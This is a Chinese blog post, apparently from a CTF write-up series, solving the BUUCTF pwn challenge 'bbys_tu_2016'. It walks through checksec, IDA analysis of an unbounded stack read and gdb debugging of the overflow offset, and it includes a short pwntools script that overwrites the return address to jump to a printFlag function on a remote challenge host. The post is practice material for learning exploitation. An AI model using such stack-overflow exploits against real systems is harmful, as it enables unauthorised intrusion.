bbys_tu_2016

最新推荐文章于 2025-12-01 10:05:28 发布

原创最新推荐文章于 2025-12-01 10:05:28 发布 · 1.1k 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#pwn #网络安全 #安全

BUU-PWN 专栏收录该内容

58 篇文章

订阅专栏

本文详细分析了一道栈溢出的CTF题目，通过checksec发现了只开启了栈不可执行保护。在IDA中发现程序允许用户输入无限长度的数据，导致栈溢出。作者通过调试发现实际溢出距离与IDA显示不符，并给出了利用payload。最终，通过溢出跳转到printFlag函数来获取flag，但遇到了问题，需进一步调试解决。

bbys_tu_2016

使用checksec查看：
在这里插入图片描述
只开启了栈不可执行，看样子是栈溢出的题目。

拉进IDA中查看：
在这里插入图片描述
将用户输入的数据写入v4，但是并没有限制写入的长度，存在栈溢出。

查看下字符串，发现后门函数printFlag():
在这里插入图片描述
那就直接溢出跳过来就完事。

然而事情并没有这样就结束，打了两次发现flag出不来，就用gdb调试了下：
在这里插入图片描述
输入的位置为0xffffd714，ebp位置为0xffffd728

实际的距离是0x14并不是IDA中所显示的0xc

exp:

from pwn import *

#start
# r = process("../buu/bbys_tu_2016")
r = remote("node4.buuoj.cn",25049)

#params 
printFlag_addr = 0x804856D

#attack
payload = b'M'*(0x14+4) + p32(printFlag_addr)
r.sendline(payload)

r.interactive()